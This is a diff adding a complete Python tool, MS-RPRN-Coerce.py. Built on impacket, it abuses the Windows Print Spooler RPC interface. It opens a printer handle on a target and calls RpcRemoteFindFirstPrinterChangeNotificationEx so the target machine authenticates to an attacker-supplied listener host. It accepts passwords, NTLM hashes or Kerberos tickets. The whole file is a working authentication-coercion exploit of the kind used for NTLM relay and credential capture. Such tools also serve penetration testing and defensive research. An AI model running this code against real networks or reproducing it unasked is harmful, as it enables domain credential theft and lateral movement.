|
| 1 | +#!/usr/bin/env python3 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +# File name : MS-RPRN-Coerce.py |
| 4 | +# Author : Podalirius (@podalirius_) |
| 5 | +# Date created : 24 Feb 2022 |
| 6 | + |
| 7 | + |
| 8 | +import argparse |
| 9 | +import binascii |
| 10 | +import sys |
| 11 | +from impacket.structure import Structure |
| 12 | +from impacket.dcerpc.v5 import transport |
| 13 | +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY |
| 14 | +from impacket.uuid import uuidtup_to_bin |
| 15 | + |
| 16 | + |
| 17 | +# printer and listener struct |
| 18 | +class type1(Structure): |
| 19 | + alignment = 4 |
| 20 | + structure = ( |
| 21 | + ('id', '<L'), # printer name referent ID |
| 22 | + ('max', '<L'), |
| 23 | + ('offset', '<L=0'), |
| 24 | + ('actual', '<L'), |
| 25 | + ('str', '%s'), |
| 26 | + ) |
| 27 | + |
| 28 | + |
| 29 | +# client and user struct |
| 30 | +class type2(Structure): |
| 31 | + alignment = 4 |
| 32 | + structure = ( |
| 33 | + ('max', '<L'), |
| 34 | + ('offset', '<L=0'), |
| 35 | + ('actual', '<L'), |
| 36 | + ('str', '%s'), |
| 37 | + ) |
| 38 | + |
| 39 | + |
| 40 | +# create RpcOpenPrinterEx struct |
| 41 | +class OpenPrinterEx(Structure): |
| 42 | + alignment = 4 |
| 43 | + opnum = 69 |
| 44 | + structure = ( |
| 45 | + ('printer', ':', type1), |
| 46 | + ('null', '<L=0'), |
| 47 | + ('str', '<L=0'), |
| 48 | + ('null2', '<L=0'), |
| 49 | + ('access', '<L=0x00020002'), |
| 50 | + ('level', '<L=1'), |
| 51 | + ('id1', '<L=1'), |
| 52 | + ('level2', '<L=131076'), # user level 1 infolevel |
| 53 | + ('size', '<L=28'), |
| 54 | + ('id2', '<L=0x00020008'), # client referent id |
| 55 | + ('id3', '<L=0x0002000c'), # user referent id |
| 56 | + ('build', '<L=8000'), |
| 57 | + ('major', '<L=0'), |
| 58 | + ('minor', '<L=0'), |
| 59 | + ('processor', '<L=0'), |
| 60 | + ('client', ':', type2), |
| 61 | + ('user', ':', type2), |
| 62 | + ) |
| 63 | + |
| 64 | + |
| 65 | +# partialy create RemoteFindFirstPrinterChangeNotificationEx struct |
| 66 | +class RemoteFindFirstPrinterChangeNotificationEx(Structure): |
| 67 | + alignment = 4 |
| 68 | + opnum = 65 |
| 69 | + structure = ( |
| 70 | + ('flags', '<L=0'), |
| 71 | + ('options', '<L=0'), |
| 72 | + ('server', ':', type1), |
| 73 | + ('local', '<L=123'), # Printer local |
| 74 | + ) |
| 75 | + |
| 76 | + |
| 77 | +##=========================================================================================================== |
| 78 | + |
| 79 | + |
| 80 | +def connect(username, password, domain, lmhash, nthash, target, doKerberos, dcHost, targetIp, verbose=False): |
| 81 | + MSRPC_UUID_SPOOLSS = ('12345678-1234-ABCD-EF00-0123456789AB', '1.0') |
| 82 | + stringBinding = r'ncacn_np:%s[\pipe\spoolss]' % target |
| 83 | + |
| 84 | + rpctransport = transport.DCERPCTransportFactory(stringBinding) |
| 85 | + if hasattr(rpctransport, 'set_credentials'): |
| 86 | + rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) |
| 87 | + |
| 88 | + if doKerberos: |
| 89 | + rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) |
| 90 | + if targetIp: |
| 91 | + rpctransport.setRemoteHost(targetIp) |
| 92 | + |
| 93 | + dce = rpctransport.get_dce_rpc() |
| 94 | + dce.set_auth_type(RPC_C_AUTHN_WINNT) |
| 95 | + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) |
| 96 | + print("[>] Connecting to %s ..." % stringBinding) |
| 97 | + try: |
| 98 | + dce.connect() |
| 99 | + except Exception as e: |
| 100 | + if verbose: |
| 101 | + raise |
| 102 | + else: |
| 103 | + print("[!] %s" % str(e)) |
| 104 | + return None |
| 105 | + print("[+] Connected!") |
| 106 | + print("[+] Binding to %s" % MSRPC_UUID_SPOOLSS[0]) |
| 107 | + try: |
| 108 | + dce.bind(uuidtup_to_bin(MSRPC_UUID_SPOOLSS)) |
| 109 | + except Exception as e: |
| 110 | + if verbose: |
| 111 | + raise |
| 112 | + else: |
| 113 | + print("[!] %s" % str(e)) |
| 114 | + return None |
| 115 | + print("[+] Successfully bound!") |
| 116 | + return dce |
| 117 | + |
| 118 | + |
| 119 | +def build_RpcOpenPrinterEx_struct(username, client, target): |
| 120 | + query = OpenPrinterEx() |
| 121 | + printer = "\\\\%s\x00" % target # blank printer |
| 122 | + # |
| 123 | + query['printer'] = type1() |
| 124 | + query['printer']['id'] = 0x00020000 # referent ID for printer |
| 125 | + query['printer']['max'] = len(printer) # printer max size |
| 126 | + query['printer']['actual'] = len(printer) # printer actual size |
| 127 | + query['printer']['str'] = printer.encode('utf_16_le') |
| 128 | + # |
| 129 | + query['client'] = type2() |
| 130 | + query['client']['max'] = len(client) |
| 131 | + query['client']['actual'] = len(client) |
| 132 | + query['client']['str'] = client.encode('utf_16_le') |
| 133 | + # |
| 134 | + query['user'] = type2() |
| 135 | + query['user']['max'] = len(username) |
| 136 | + query['user']['actual'] = len(username) |
| 137 | + query['user']['str'] = username.encode('utf_16_le') |
| 138 | + return query |
| 139 | + |
| 140 | + |
| 141 | +# partially build RpcRemoteFindFirstPrinterChangeNotificationEx() struct |
| 142 | +def build_RpcRemoteFindFirstPrinterChangeNotificationEx_struct(listener): |
| 143 | + query = RemoteFindFirstPrinterChangeNotificationEx() |
| 144 | + server = '\\\\%s\x00' % listener # server |
| 145 | + query['server'] = type1() |
| 146 | + query['server']['id'] = 0x41414141 # referent ID for server |
| 147 | + query['server']['max'] = len(server) # server name max size |
| 148 | + query['server']['actual'] = len(server) # server name actual size |
| 149 | + query['server']['str'] = server.encode('utf_16_le') |
| 150 | + return query |
| 151 | + |
| 152 | + |
| 153 | +def parseArgs(): |
| 154 | + print("MS-RPRN-Coerce v1.1 - by @podalirius_\n") |
| 155 | + |
| 156 | + parser = argparse.ArgumentParser(description="Force authentification using MS-RPRN RemoteFindFirstPrinterChangeNotificationEx function (opnum 69).") |
| 157 | + parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') |
| 158 | + |
| 159 | + authconn = parser.add_argument_group('authentication & connection') |
| 160 | + authconn.add_argument('--dc-ip', required=False, default=None, action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') |
| 161 | + authconn.add_argument("-d", "--domain", required=False, default='', dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to") |
| 162 | + authconn.add_argument("-u", "--user", required=False, default='', dest="auth_username", metavar="USER", action="store", help="user to authenticate with") |
| 163 | + authconn.add_argument('--target-ip', dest="target_ip", action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') |
| 164 | + |
| 165 | + secret = parser.add_argument_group() |
| 166 | + cred = secret.add_mutually_exclusive_group() |
| 167 | + cred.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)") |
| 168 | + cred.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="Password to authenticate with") |
| 169 | + cred.add_argument("-H", "--hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help='NT/LM hashes, format is LMhash:NThash') |
| 170 | + cred.add_argument("--aes-key", dest="auth_key", action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') |
| 171 | + secret.add_argument("-k", "--kerberos", dest="use_kerberos", action="store_true", help='Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') |
| 172 | + |
| 173 | + parser.add_argument("listener", help='IP address or hostname of listener.') |
| 174 | + parser.add_argument("target", help='IP address or hostname of target.') |
| 175 | + |
| 176 | + if len(sys.argv) == 1: |
| 177 | + parser.print_help() |
| 178 | + sys.exit(1) |
| 179 | + |
| 180 | + return parser.parse_args() |
| 181 | + |
| 182 | + |
| 183 | +def patch_impacket_structure_py3(struct): |
| 184 | + if sys.version_info.major == 3: |
| 185 | + # Live patch because impacket's structure.py is hell in Python3 |
| 186 | + for fn, fv in vars(struct)['fields'].items(): |
| 187 | + struct.fields[fn]['str'] = struct.fields[fn]['str'].decode('utf-8') |
| 188 | + return struct |
| 189 | + else: |
| 190 | + # Python 2 compatibility |
| 191 | + return struct |
| 192 | + |
| 193 | + |
| 194 | +if __name__ == '__main__': |
| 195 | + options = parseArgs() |
| 196 | + |
| 197 | + auth_lm_hash = "" |
| 198 | + auth_nt_hash = "" |
| 199 | + if options.auth_hashes is not None: |
| 200 | + if ":" in options.auth_hashes: |
| 201 | + auth_lm_hash = options.auth_hashes.split(":")[0] |
| 202 | + auth_nt_hash = options.auth_hashes.split(":")[1] |
| 203 | + else: |
| 204 | + auth_nt_hash = options.auth_hashes |
| 205 | + |
| 206 | + dce_conn = connect( |
| 207 | + options.auth_username, |
| 208 | + options.auth_password, |
| 209 | + options.auth_domain, |
| 210 | + auth_lm_hash, |
| 211 | + auth_nt_hash, |
| 212 | + options.target, |
| 213 | + options.use_kerberos, |
| 214 | + options.dc_ip, |
| 215 | + options.target_ip, |
| 216 | + verbose=options.verbose |
| 217 | + ) |
| 218 | + |
| 219 | + if dce_conn is not None: |
| 220 | + print("[*] Getting context handle ...") |
| 221 | + context_handle = build_RpcOpenPrinterEx_struct( |
| 222 | + username=options.auth_domain + "\\" + options.auth_username + "\x00", |
| 223 | + client=options.listener + "\x00", |
| 224 | + target=options.target + "\x00" |
| 225 | + ) |
| 226 | + handle = None |
| 227 | + try: |
| 228 | + context_handle = patch_impacket_structure_py3(context_handle) |
| 229 | + if options.verbose: |
| 230 | + print("[debug] DCERPC call opnum=%d, handle=%s" % (context_handle.opnum, binascii.hexlify(context_handle.getData()).decode('utf-8'))) |
| 231 | + dce_conn.call(context_handle.opnum, context_handle) |
| 232 | + |
| 233 | + raw = dce_conn.recv() |
| 234 | + if options.verbose: |
| 235 | + print("[debug] Raw response: %s" % binascii.hexlify(raw).decode('utf-8')) |
| 236 | + handle = raw[:20] |
| 237 | + if options.verbose: |
| 238 | + print("[debug] Handle is: %s" % binascii.hexlify(handle).decode('utf-8')) |
| 239 | + except Exception as e: |
| 240 | + if options.verbose: |
| 241 | + raise |
| 242 | + else: |
| 243 | + print("[!] %s" % str(e)) |
| 244 | + dce_conn.disconnect() |
| 245 | + sys.exit() |
| 246 | + if handle is not None: |
| 247 | + print("[*] Calling RpcRemoteFindFirstPrinterChangeNotificationEx ...") |
| 248 | + options_container = ( |
| 249 | + b'\x04\x00\x02\x00' # referent id |
| 250 | + b'\x02\x00\x00\x00' # version |
| 251 | + b'\xce\x55\x00\x00' # flags |
| 252 | + b'\x02\x00\x00\x00' # count |
| 253 | + # notify options blob to unpack another day |
| 254 | + b'\x08\x00\x02\x00\x02\x00\x00\x00\x00\x00\xce\x55\x00\x00' |
| 255 | + b'\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x02\x00' |
| 256 | + b'\x01\x00\x00\x00\xe0\x11\xbd\x8f\xce\x55\x00\x00\x01\x00' |
| 257 | + b'\x00\x00\x10\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00' |
| 258 | + b'\x01\x00\x00\x00\x00\x00' |
| 259 | + ) |
| 260 | + # call function to get method core |
| 261 | + query = build_RpcRemoteFindFirstPrinterChangeNotificationEx_struct(options.listener) |
| 262 | + query = patch_impacket_structure_py3(query) |
| 263 | + full_query = handle + query.getData() + options_container |
| 264 | + try: |
| 265 | + dce_conn.call(query.opnum, full_query) |
| 266 | + raw = dce_conn.recv() |
| 267 | + if options.verbose: |
| 268 | + print("[debug] Raw response: %s" % binascii.hexlify(raw).decode('utf-8')) |
| 269 | + except Exception as e: |
| 270 | + if options.verbose: |
| 271 | + raise |
| 272 | + else: |
| 273 | + print("[!] %s" % str(e)) |
| 274 | + dce_conn.disconnect() |
| 275 | + print("[+] Done!") |
| 276 | + dce_conn.disconnect() |
0 commit comments